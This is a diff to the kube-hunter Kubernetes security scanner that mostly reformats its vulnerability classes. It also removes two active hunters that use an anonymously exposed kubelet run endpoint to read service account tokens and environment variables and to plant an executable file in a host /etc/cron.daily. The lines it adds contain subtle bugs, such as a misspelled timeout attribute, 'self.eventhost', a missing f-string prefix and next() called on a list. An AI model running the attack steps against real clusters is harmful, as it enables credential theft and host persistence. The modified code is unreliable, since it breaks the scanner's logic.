+            self, KubernetesCluster, "Possible Arp Spoof", category=IdentityTheft, vid="KHV020",
         )
 
 
@@ -43,7 +39,7 @@ class ArpSpoofHunter(ActiveHunter):
     def detect_l3_on_host(self, arp_responses):
         """ returns True for an existence of an L3 network plugin """
         logger.debug("Attempting to detect L3 network plugin using ARP")
-        unique_macs = list({response[ARP].hwsrc for _, response in arp_responses})
+        unique_macs = list(set(response[ARP].hwsrc for _, response in arp_responses))
 
         # if LAN addresses not unique
         if len(unique_macs) == 1:
@@ -59,9 +55,7 @@ class ArpSpoofHunter(ActiveHunter):
         config = get_config()
         self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
         arp_responses, _ = srp(
-            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
-            timeout=config.network_timeout,
-            verbose=0,
+            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
         )
 
         # arp enabled on cluster and more than one pod on node

kube_hunter/modules/hunting/capabilities.py

@@ -17,10 +17,7 @@ class CapNetRawEnabled(Event, Vulnerability):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="CAP_NET_RAW Enabled",
-            category=AccessRisk,
+            self, KubernetesCluster, name="CAP_NET_RAW Enabled", category=AccessRisk,
         )
 
 

kube_hunter/modules/hunting/certificates.py

@@ -8,24 +8,18 @@ from kube_hunter.core.events import handler
 from kube_hunter.core.events.types import Vulnerability, Event, Service
 
 logger = logging.getLogger(__name__)
-email_pattern = re.compile(rb"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)")
+email_pattern = re.compile(rb"([a-z0-9]+@[a-z0-9]+\.[a-z0-9]+)")
 
 
 class CertificateEmail(Vulnerability, Event):
-    """The Kubernetes API Server advertises a public certificate for TLS.
-    This certificate includes an email address, that may provide additional information for an attacker on your
-    organization, or be abused for further email based attacks."""
+    """Certificate includes an email address"""
 
     def __init__(self, email):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "Certificate Includes Email Address",
-            category=InformationDisclosure,
-            vid="KHV021",
+            self, KubernetesCluster, "Certificate Includes Email Address", category=InformationDisclosure, vid="KHV021",
         )
         self.email = email
-        self.evidence = f"email: {self.email}"
+        self.evidence = "email: {}".format(self.email)
 
 
 @handler.subscribe(Service)
@@ -48,7 +42,7 @@ class CertificateDiscovery(Hunter):
         self.examine_certificate(cert)
 
     def examine_certificate(self, cert):
-        c = cert.strip(ssl.PEM_HEADER).strip("\n").strip(ssl.PEM_FOOTER).strip("\n")
+        c = cert.strip(ssl.PEM_HEADER).strip(ssl.PEM_FOOTER)
         certdata = base64.b64decode(c)
         emails = re.findall(email_pattern, certdata)
         for email in emails:

kube_hunter/modules/hunting/cves.py

@@ -33,7 +33,7 @@ class ServerApiVersionEndPointAccessPE(Vulnerability, Event):
 
 class ServerApiVersionEndPointAccessDos(Vulnerability, Event):
     """Node not patched for CVE-2019-1002100. Depending on your RBAC settings,
-    a crafted json-patch could cause a Denial of Service."""
+     a crafted json-patch could cause a Denial of Service."""
 
     def __init__(self, evidence):
         Vulnerability.__init__(
@@ -52,11 +52,7 @@ class PingFloodHttp2Implementation(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Possible Ping Flood Attack",
-            category=DenialOfService,
-            vid="KHV024",
+            self, KubernetesCluster, name="Possible Ping Flood Attack", category=DenialOfService, vid="KHV024",
         )
         self.evidence = evidence
 
@@ -67,11 +63,7 @@ class ResetFloodHttp2Implementation(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Possible Reset Flood Attack",
-            category=DenialOfService,
-            vid="KHV025",
+            self, KubernetesCluster, name="Possible Reset Flood Attack", category=DenialOfService, vid="KHV025",
         )
         self.evidence = evidence
 
@@ -97,14 +89,10 @@ class IncompleteFixToKubectlCpVulnerability(Vulnerability, Event):
 
     def __init__(self, binary_version):
         Vulnerability.__init__(
-            self,
-            KubectlClient,
-            "Kubectl Vulnerable To CVE-2019-11246",
-            category=RemoteCodeExec,
-            vid="KHV027",
+            self, KubectlClient, "Kubectl Vulnerable To CVE-2019-11246", category=RemoteCodeExec, vid="KHV027",
         )
         self.binary_version = binary_version
-        self.evidence = f"kubectl version: {self.binary_version}"
+        self.evidence = "kubectl version: {}".format(self.binary_version)
 
 
 class KubectlCpVulnerability(Vulnerability, Event):
@@ -113,14 +101,10 @@ class KubectlCpVulnerability(Vulnerability, Event):
 
     def __init__(self, binary_version):
         Vulnerability.__init__(
-            self,
-            KubectlClient,
-            "Kubectl Vulnerable To CVE-2019-1002101",
-            category=RemoteCodeExec,
-            vid="KHV028",
+            self, KubectlClient, "Kubectl Vulnerable To CVE-2019-1002101", category=RemoteCodeExec, vid="KHV028",
         )
         self.binary_version = binary_version
-        self.evidence = f"kubectl version: {self.binary_version}"
+        self.evidence = "kubectl version: {}".format(self.binary_version)
 
 
 class CveUtils:

kube_hunter/modules/hunting/dashboard.py

@@ -16,11 +16,7 @@ class DashboardExposed(Vulnerability, Event):
 
     def __init__(self, nodes):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "Dashboard Exposed",
-            category=RemoteCodeExec,
-            vid="KHV029",
+            self, KubernetesCluster, "Dashboard Exposed", category=RemoteCodeExec, vid="KHV029",
         )
         self.evidence = "nodes: {}".format(" ".join(nodes)) if nodes else None
 

kube_hunter/modules/hunting/dns.py

@@ -18,14 +18,10 @@ class PossibleDnsSpoofing(Vulnerability, Event):
 
     def __init__(self, kubedns_pod_ip):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "Possible DNS Spoof",
-            category=IdentityTheft,
-            vid="KHV030",
+            self, KubernetesCluster, "Possible DNS Spoof", category=IdentityTheft, vid="KHV030",
         )
         self.kubedns_pod_ip = kubedns_pod_ip
-        self.evidence = f"kube-dns at: {self.kubedns_pod_ip}"
+        self.evidence = "kube-dns at: {}".format(self.kubedns_pod_ip)
 
 
 # Only triggered with RunningAsPod base event
@@ -65,9 +61,7 @@ class DnsSpoofHunter(ActiveHunter):
         self_ip = dns_info_res[IP].dst
 
         arp_responses, _ = srp(
-            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
-            timeout=config.network_timeout,
-            verbose=0,
+            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
         )
         for _, response in arp_responses:
             if response[Ether].src == kubedns_pod_mac:
@@ -76,7 +70,7 @@ class DnsSpoofHunter(ActiveHunter):
     def execute(self):
         config = get_config()
         logger.debug("Attempting to get kube-dns pod ip")
-        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
+        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
         cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()
 
         kubedns = self.get_kube_dns_ip_mac()

kube_hunter/modules/hunting/etcd.py

@@ -26,11 +26,7 @@ class EtcdRemoteWriteAccessEvent(Vulnerability, Event):
 
     def __init__(self, write_res):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Etcd Remote Write Access Event",
-            category=RemoteCodeExec,
-            vid="KHV031",
+            self, KubernetesCluster, name="Etcd Remote Write Access Event", category=RemoteCodeExec, vid="KHV031",
         )
         self.evidence = write_res
 
@@ -40,11 +36,7 @@ class EtcdRemoteReadAccessEvent(Vulnerability, Event):
 
     def __init__(self, keys):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Etcd Remote Read Access Event",
-            category=AccessRisk,
-            vid="KHV032",
+            self, KubernetesCluster, name="Etcd Remote Read Access Event", category=AccessRisk, vid="KHV032",
         )
         self.evidence = keys
 
@@ -89,7 +81,6 @@ class EtcdRemoteAccessActive(ActiveHunter):
     def __init__(self, event):
         self.event = event
         self.write_evidence = ""
-        self.event.protocol = "https"
 
     def db_keys_write_access(self):
         config = get_config()
@@ -97,7 +88,7 @@ class EtcdRemoteAccessActive(ActiveHunter):
         data = {"value": "remotely written data"}
         try:
             r = requests.post(
-                f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
+                f"{self.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
                 data=data,
                 timeout=config.network_timeout,
             )
@@ -122,16 +113,14 @@ class EtcdRemoteAccess(Hunter):
         self.event = event
         self.version_evidence = ""
         self.keys_evidence = ""
-        self.event.protocol = "https"
+        self.protocol = "https"
 
     def db_keys_disclosure(self):
         config = get_config()
         logger.debug(f"{self.event.host} Passive hunter is attempting to read etcd keys remotely")
         try:
             r = requests.get(
-                f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys",
-                verify=False,
-                timeout=config.network_timeout,
+                f"{self.protocol}://{self.eventhost}:{ETCD_PORT}/v2/keys", verify=False, timeout=config.network_timeout,
             )
             self.keys_evidence = r.content if r.status_code == 200 and r.content != "" else False
             return self.keys_evidence
@@ -143,7 +132,7 @@ class EtcdRemoteAccess(Hunter):
         logger.debug(f"Trying to check etcd version remotely at {self.event.host}")
         try:
             r = requests.get(
-                f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/version",
+                f"{self.protocol}://{self.event.host}:{ETCD_PORT}/version",
                 verify=False,
                 timeout=config.network_timeout,
             )
@@ -157,9 +146,7 @@ class EtcdRemoteAccess(Hunter):
         logger.debug(f"Trying to access etcd insecurely at {self.event.host}")
         try:
             r = requests.get(
-                f"http://{self.event.host}:{ETCD_PORT}/version",
-                verify=False,
-                timeout=config.network_timeout,
+                f"http://{self.event.host}:{ETCD_PORT}/version", verify=False, timeout=config.network_timeout,
             )
             return r.content if r.status_code == 200 and r.content else False
         except requests.exceptions.ConnectionError:
@@ -167,10 +154,10 @@ class EtcdRemoteAccess(Hunter):
 
     def execute(self):
         if self.insecure_access():  # make a decision between http and https protocol
-            self.event.protocol = "http"
+            self.protocol = "http"
         if self.version_disclosure():
             self.publish_event(EtcdRemoteVersionDisclosureEvent(self.version_evidence))
-            if self.event.protocol == "http":
+            if self.protocol == "http":
                 self.publish_event(EtcdAccessEnabledWithoutAuthEvent(self.version_evidence))
             if self.db_keys_disclosure():
                 self.publish_event(EtcdRemoteReadAccessEvent(self.keys_evidence))

kube_hunter/modules/hunting/kubelet.py

@@ -1,12 +1,10 @@
 import json
 import logging
-import time
 from enum import Enum
 
 import re
 import requests
 import urllib3
-import uuid
 
 from kube_hunter.conf import get_config
 from kube_hunter.core.events import handler
@@ -35,7 +33,7 @@ class ExposedPodsHandler(Vulnerability, Event):
 
     def __init__(self, pods):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure, vid="KHV052"
+            self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure,
         )
         self.pods = pods
         self.evidence = f"count: {len(self.pods)}"
@@ -47,11 +45,7 @@ class AnonymousAuthEnabled(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Anonymous Authentication",
-            category=RemoteCodeExec,
-            vid="KHV036",
+            self, component=Kubelet, name="Anonymous Authentication", category=RemoteCodeExec, vid="KHV036",
         )
 
 
@@ -60,11 +54,7 @@ class ExposedContainerLogsHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed Container Logs",
-            category=InformationDisclosure,
-            vid="KHV037",
+            self, component=Kubelet, name="Exposed Container Logs", category=InformationDisclosure, vid="KHV037",
         )
 
 
@@ -74,14 +64,10 @@ class ExposedRunningPodsHandler(Vulnerability, Event):
 
     def __init__(self, count):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed Running Pods",
-            category=InformationDisclosure,
-            vid="KHV038",
+            self, component=Kubelet, name="Exposed Running Pods", category=InformationDisclosure, vid="KHV038",
         )
         self.count = count
-        self.evidence = f"{self.count} running pods"
+        self.evidence = "{} running pods".format(self.count)
 
 
 class ExposedExecHandler(Vulnerability, Event):
@@ -89,11 +75,7 @@ class ExposedExecHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed Exec On Container",
-            category=RemoteCodeExec,
-            vid="KHV039",
+            self, component=Kubelet, name="Exposed Exec On Container", category=RemoteCodeExec, vid="KHV039",
         )
 
 
@@ -102,11 +84,7 @@ class ExposedRunHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed Run Inside Container",
-            category=RemoteCodeExec,
-            vid="KHV040",
+            self, component=Kubelet, name="Exposed Run Inside Container", category=RemoteCodeExec, vid="KHV040",
         )
 
 
@@ -115,11 +93,7 @@ class ExposedPortForwardHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed Port Forward",
-            category=RemoteCodeExec,
-            vid="KHV041",
+            self, component=Kubelet, name="Exposed Port Forward", category=RemoteCodeExec, vid="KHV041",
         )
 
 
@@ -129,11 +103,7 @@ class ExposedAttachHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed Attaching To Container",
-            category=RemoteCodeExec,
-            vid="KHV042",
+            self, component=Kubelet, name="Exposed Attaching To Container", category=RemoteCodeExec, vid="KHV042",
         )
 
 
@@ -143,43 +113,19 @@ class ExposedHealthzHandler(Vulnerability, Event):
 
     def __init__(self, status):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Cluster Health Disclosure",
-            category=InformationDisclosure,
-            vid="KHV043",
+            self, component=Kubelet, name="Cluster Health Disclosure", category=InformationDisclosure, vid="KHV043",
         )
         self.status = status
         self.evidence = f"status: {self.status}"
 
 
-class ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):
-    """A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \
-can leverage the existing privileged containers identified to damage the host and potentially \
-the whole cluster"""
-
-    def __init__(self, exposed_existing_privileged_containers):
-        Vulnerability.__init__(
-            self,
-            component=KubernetesCluster,
-            name="Exposed Existing Privileged Container(s) Via Secure Kubelet Port",
-            category=AccessRisk,
-            vid="KHV051",
-        )
-        self.exposed_existing_privileged_containers = exposed_existing_privileged_containers
-
-
 class PrivilegedContainers(Vulnerability, Event):
     """A Privileged container exist on a node
     could expose the node/cluster to unwanted root operations"""
 
     def __init__(self, containers):
         Vulnerability.__init__(
-            self,
-            component=KubernetesCluster,
-            name="Privileged Container",
-            category=AccessRisk,
-            vid="KHV044",
+            self, component=KubernetesCluster, name="Privileged Container", category=AccessRisk, vid="KHV044",
         )
         self.containers = containers
         self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
@@ -190,11 +136,7 @@ class ExposedSystemLogs(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed System Logs",
-            category=InformationDisclosure,
-            vid="KHV045",
+            self, component=Kubelet, name="Exposed System Logs", category=InformationDisclosure, vid="KHV045",
         )
 
 
@@ -203,11 +145,7 @@ class ExposedKubeletCmdline(Vulnerability, Event):
 
     def __init__(self, cmdline):
         Vulnerability.__init__(
-            self,
-            component=Kubelet,
-            name="Exposed Kubelet Cmdline",
-            category=InformationDisclosure,
-            vid="KHV046",
+            self, component=Kubelet, name="Exposed Kubelet Cmdline", category=InformationDisclosure, vid="KHV046",
         )
         self.cmdline = cmdline
         self.evidence = f"cmdline: {self.cmdline}"
@@ -306,7 +244,7 @@ class SecureKubeletPortHunter(Hunter):
         """ all methods will return the handler name if successful """
 
         def __init__(self, path, pod, session=None):
-            self.path = path + ("/" if not path.endswith("/") else "")
+            self.path = path
             self.session = session if session else requests.Session()
             self.pod = pod
 
@@ -314,9 +252,7 @@ class SecureKubeletPortHunter(Hunter):
         def test_container_logs(self):
             config = get_config()
             logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
-                pod_namespace=self.pod["namespace"],
-                pod_id=self.pod["name"],
-                container_name=self.pod["container"],
+                pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], container_name=self.pod["container"],
             )
             return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
 
@@ -334,46 +270,36 @@ class SecureKubeletPortHunter(Hunter):
             return (
                 "/cri/exec/"
                 in self.session.get(
-                    exec_url,
-                    headers=headers,
-                    allow_redirects=False,
-                    verify=False,
-                    timeout=config.network_timeout,
+                    exec_url, headers=headers, allow_redirects=False, verify=False, timeout=config.network_timeout,
                 ).text
             )
 
         # need further investigation on websockets protocol for further implementation
         def test_port_forward(self):
-            pass
+            config = get_config()
+            headers = {
+                "Upgrade": "websocket",
+                "Connection": "Upgrade",
+                "Sec-Websocket-Key": "s",
+                "Sec-Websocket-Version": "13",
+                "Sec-Websocket-Protocol": "SPDY",
+            }
+            pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
+                pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], port=80,
+            )
+            self.session.get(
+                pf_url, headers=headers, verify=False, stream=True, timeout=config.network_timeout,
+            ).status_code == 200
             # TODO: what to return?
-            # Example starting code:
-            #
-            # config = get_config()
-            # headers = {
-            #     "Upgrade": "websocket",
-            #     "Connection": "Upgrade",
-            #     "Sec-Websocket-Key": "s",
-            #     "Sec-Websocket-Version": "13",
-            #     "Sec-Websocket-Protocol": "SPDY",
-            # }
-            # pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
-            #     pod_namespace=self.pod["namespace"],
-            #     pod_id=self.pod["name"],
-            #     port=80,
-            # )
 
         # executes one command and returns output
         def test_run_container(self):
             config = get_config()
             run_url = self.path + KubeletHandlers.RUN.value.format(
-                pod_namespace="test",
-                pod_id="test",
-                container_name="test",
-                cmd="",
+                pod_namespace="test", pod_id="test", container_name="test", cmd="",
             )
-            # if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.
-            status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code
-            return status_code == requests.codes.NOT_FOUND
+            # if we get a Method Not Allowed, we know we passed Authentication and Authorization.
+            return self.session.get(run_url, verify=False, timeout=config.network_timeout).status_code == 405
 
         # returns list of currently running pods
         def test_running_pods(self):
@@ -395,10 +321,7 @@ class SecureKubeletPortHunter(Hunter):
             return (
                 "/cri/attach/"
                 in self.session.get(
-                    attach_url,
-                    allow_redirects=False,
-                    verify=False,
-                    timeout=config.network_timeout,
+                    attach_url, allow_redirects=False, verify=False, timeout=config.network_timeout,
                 ).text
             )
 
@@ -406,8 +329,7 @@ class SecureKubeletPortHunter(Hunter):
         def test_logs_endpoint(self):
             config = get_config()
             logs_url = self.session.get(
-                self.path + KubeletHandlers.LOGS.value.format(path=""),
-                timeout=config.network_timeout,
+                self.path + KubeletHandlers.LOGS.value.format(path=""), timeout=config.network_timeout,
             ).text
             return "<pre>" in logs_url
 
@@ -415,9 +337,7 @@ class SecureKubeletPortHunter(Hunter):
         def test_pprof_cmdline(self):
             config = get_config()
             cmd = self.session.get(
-                self.path + KubeletHandlers.PPROF_CMDLINE.value,
-                verify=False,
-                timeout=config.network_timeout,
+                self.path + KubeletHandlers.PPROF_CMDLINE.value, verify=False, timeout=config.network_timeout,
             )
             return cmd.text if cmd.status_code == 200 else None
 
@@ -429,7 +349,7 @@ class SecureKubeletPortHunter(Hunter):
             # self.session.cert = self.event.client_cert
         # copy session to event
         self.event.session = self.session
-        self.path = f"https://{self.event.host}:10250"
+        self.path = "https://{self.event.host}:10250"
         self.kubehunter_pod = {
             "name": "kube-hunter",
             "namespace": "default",
@@ -505,7 +425,7 @@ class SecureKubeletPortHunter(Hunter):
                 pod_data = next(filter(is_kubesystem_pod, pods_data), None)
 
             if pod_data:
-                container_data = pod_data["spec"]["containers"][0]
+                container_data = next(pod_data["spec"]["containers"], None)
                 if container_data:
                     return {
                         "name": pod_data["metadata"]["name"],
@@ -514,521 +434,6 @@ class SecureKubeletPortHunter(Hunter):
                     }
 
 
-""" Active Hunters """
-
-
-@handler.subscribe(AnonymousAuthEnabled)
-class ProveAnonymousAuth(ActiveHunter):
-    """Foothold Via Secure Kubelet Port
-    Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a
-    container abusing the configuration of the kubelet's secure port: authentication-auth=false.
-    """
-
-    def __init__(self, event):
-        self.event = event
-        self.base_url = f"https://{self.event.host}:10250/"
-
-    def get_request(self, url, verify=False):
-        config = get_config()
-        try:
-            response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()
-
-            return response_text
-        except Exception as ex:
-            logging.debug("Exception: " + str(ex))
-            return "Exception: " + str(ex)
-
-    def post_request(self, url, params, verify=False):
-        config = get_config()
-        try:
-            response_text = self.event.session.post(
-                url=url, verify=verify, params=params, timeout=config.network_timeout
-            ).text.rstrip()
-
-            return response_text
-        except Exception as ex:
-            logging.debug("Exception: " + str(ex))
-            return "Exception: " + str(ex)
-
-    @staticmethod
-    def has_no_exception(result):
-        return "Exception: " not in result
-
-    @staticmethod
-    def has_no_error(result):
-        possible_errors = ["exited with", "Operation not permitted", "Permission denied", "No such file or directory"]
-
-        return not any(error in result for error in possible_errors)
-
-    @staticmethod
-    def has_no_error_nor_exception(result):
-        return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
-
-    def cat_command(self, run_request_url, full_file_path):
-        return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
-
-    def process_container(self, run_request_url):
-        service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
-
-        environment_variables = self.post_request(run_request_url, {"cmd": "env"})
-
-        if self.has_no_error_nor_exception(service_account_token):
-            return {
-                "result": True,
-                "service_account_token": service_account_token,
-                "environment_variables": environment_variables,
-            }
-
-        return {"result": False}
-
-    def execute(self):
-        pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)
-
-        # At this point, the following must happen:
-        # a) we get the data of the running pods
-        # b) we get a forbidden message because the API server
-        # has a configuration that denies anonymous attempts despite the kubelet being vulnerable
-
-        if self.has_no_error_nor_exception(pods_raw) and "items" in pods_raw:
-            pods_data = json.loads(pods_raw)["items"]
-
-            temp_message = ""
-            exposed_existing_privileged_containers = list()
-
-            for pod_data in pods_data:
-                pod_namespace = pod_data["metadata"]["namespace"]
-                pod_id = pod_data["metadata"]["name"]
-
-                for container_data in pod_data["spec"]["containers"]:
-                    container_name = container_data["name"]
-
-                    run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
-
-                    extracted_data = self.process_container(run_request_url)
-
-                    if extracted_data["result"]:
-                        service_account_token = extracted_data["service_account_token"]
-                        environment_variables = extracted_data["environment_variables"]
-
-                        temp_message += (
-                            f"\n\nPod namespace: {pod_namespace}"
-                            + f"\n\nPod ID: {pod_id}"
-                            + f"\n\nContainer name: {container_name}"
-                            + f"\n\nService account token: {service_account_token}"
-                            + f"\nEnvironment variables: {environment_variables}"
-                        )
-
-                        first_check = container_data.get("securityContext", {}).get("privileged")
-
-                        first_subset = container_data.get("securityContext", {})
-                        second_subset = first_subset.get("capabilities", {})
-                        data_for_second_check = second_subset.get("add", [])
-
-                        second_check = "SYS_ADMIN" in data_for_second_check
-
-                        if first_check or second_check:
-                            exposed_existing_privileged_containers.append(
-                                {
-                                    "pod_namespace": pod_namespace,
-                                    "pod_id": pod_id,
-                                    "container_name": container_name,
-                                    "service_account_token": service_account_token,
-                                    "environment_variables": environment_variables,
-                                }
-                            )
-
-            if temp_message:
-                message = "The following containers have been successfully breached." + temp_message
-
-                self.event.evidence = f"{message}"
-
-            if exposed_existing_privileged_containers:
-                self.publish_event(
-                    ExposedExistingPrivilegedContainersViaSecureKubeletPort(
-                        exposed_existing_privileged_containers=exposed_existing_privileged_containers
-                    )
-                )
-
-
-@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
-class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
-    """Malicious Intent Via Secure Kubelet Port
-    Attempts to demonstrate that a malicious actor can leverage existing privileged containers
-    exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,
-    such that a process can be started or modified on the host.
-    """
-
-    def __init__(self, event, seconds_to_wait_for_os_command=1):
-        self.event = event
-        self.base_url = f"https://{self.event.host}:10250/"
-        self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
-        self.number_of_rm_attempts = 5
-        self.number_of_rmdir_attempts = 5
-        self.number_of_umount_attempts = 5
-
-    def post_request(self, url, params, verify=False):
-        config = get_config()
-        try:
-            response_text = self.event.session.post(
-                url, verify, params=params, timeout=config.network_timeout
-            ).text.rstrip()
-
-            return response_text
-        except Exception as ex:
-            logging.debug("Exception: " + str(ex))
-            return "Exception: " + str(ex)
-
-    def cat_command(self, run_request_url, full_file_path):
-        return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
-
-    def clean_attacked_exposed_existing_privileged_container(
-        self,
-        run_request_url,
-        file_system_or_partition,
-        directory_created,
-        file_created,
-        number_of_rm_attempts,
-        number_of_umount_attempts,
-        number_of_rmdir_attempts,
-        seconds_to_wait_for_os_command,
-    ):
-
-        self.rm_command(
-            run_request_url,
-            f"{directory_created}/etc/cron.daily/{file_created}",
-            number_of_rm_attempts,
-            seconds_to_wait_for_os_command,
-        )
-
-        self.umount_command(
-            run_request_url,
-            file_system_or_partition,
-            directory_created,
-            number_of_umount_attempts,
-            seconds_to_wait_for_os_command,
-        )
-
-        self.rmdir_command(
-            run_request_url,
-            directory_created,
-            number_of_rmdir_attempts,
-            seconds_to_wait_for_os_command,
-        )
-
-    def check_file_exists(self, run_request_url, file):
-        file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)
-
-        return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)
-
-    def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
-        if self.check_file_exists(run_request_url, file_to_remove):
-            for _ in range(number_of_rm_attempts):
-                command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
-
-                if seconds_to_wait_for_os_command:
-                    time.sleep(seconds_to_wait_for_os_command)
-
-                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
-                second_check = self.check_file_exists(run_request_url, file_to_remove)
-
-                if first_check and not second_check:
-                    return True
-
-        pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
-        container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
-        logger.warning(
-            "kube-hunter: "
-            + "POD="
-            + pod_id
-            + ", "
-            + "CONTAINER="
-            + container_name
-            + " - Unable to remove file: "
-            + file_to_remove
-        )
-
-        return False
-
-    def chmod_command(self, run_request_url, permissions, file):
-        return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
-
-    def touch_command(self, run_request_url, file_to_create):
-        return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
-
-    def attack_exposed_existing_privileged_container(
-        self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
-    ):
-        if file_name is None:
-            file_name = "kube-hunter" + str(uuid.uuid1())
-
-        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
-
-        file_created = self.touch_command(run_request_url, file_name_with_path)
-
-        if ProveAnonymousAuth.has_no_error_nor_exception(file_created):
-            permissions_changed = self.chmod_command(run_request_url, "755", file_name_with_path)
-
-            if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):
-                return {"result": True, "file_created": file_name}
-
-            self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)
-
-        return {"result": False}
-
-    def check_directory_exists(self, run_request_url, directory):
-        directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)
-
-        return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
-
-    def rmdir_command(
-        self,
-        run_request_url,
-        directory_to_remove,
-        number_of_rmdir_attempts,
-        seconds_to_wait_for_os_command,
-    ):
-        if self.check_directory_exists(run_request_url, directory_to_remove):
-            for _ in range(number_of_rmdir_attempts):
-                command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
-
-                if seconds_to_wait_for_os_command:
-                    time.sleep(seconds_to_wait_for_os_command)
-
-                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
-                second_check = self.check_directory_exists(run_request_url, directory_to_remove)
-
-                if first_check and not second_check:
-                    return True
-
-        pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
-        container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
-        logger.warning(
-            "kube-hunter: "
-            + "POD="
-            + pod_id
-            + ", "
-            + "CONTAINER="
-            + container_name
-            + " - Unable to remove directory: "
-            + directory_to_remove
-        )
-
-        return False
-
-    def ls_command(self, run_request_url, file_or_directory):
-        return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
-
-    def umount_command(
-        self,
-        run_request_url,
-        file_system_or_partition,
-        directory,
-        number_of_umount_attempts,
-        seconds_to_wait_for_os_command,
-    ):
-        # Note: the logic implemented proved more reliable than using "df"
-        # command to resolve for mounted systems/partitions.
-        current_files_and_directories = self.ls_command(run_request_url, directory)
-
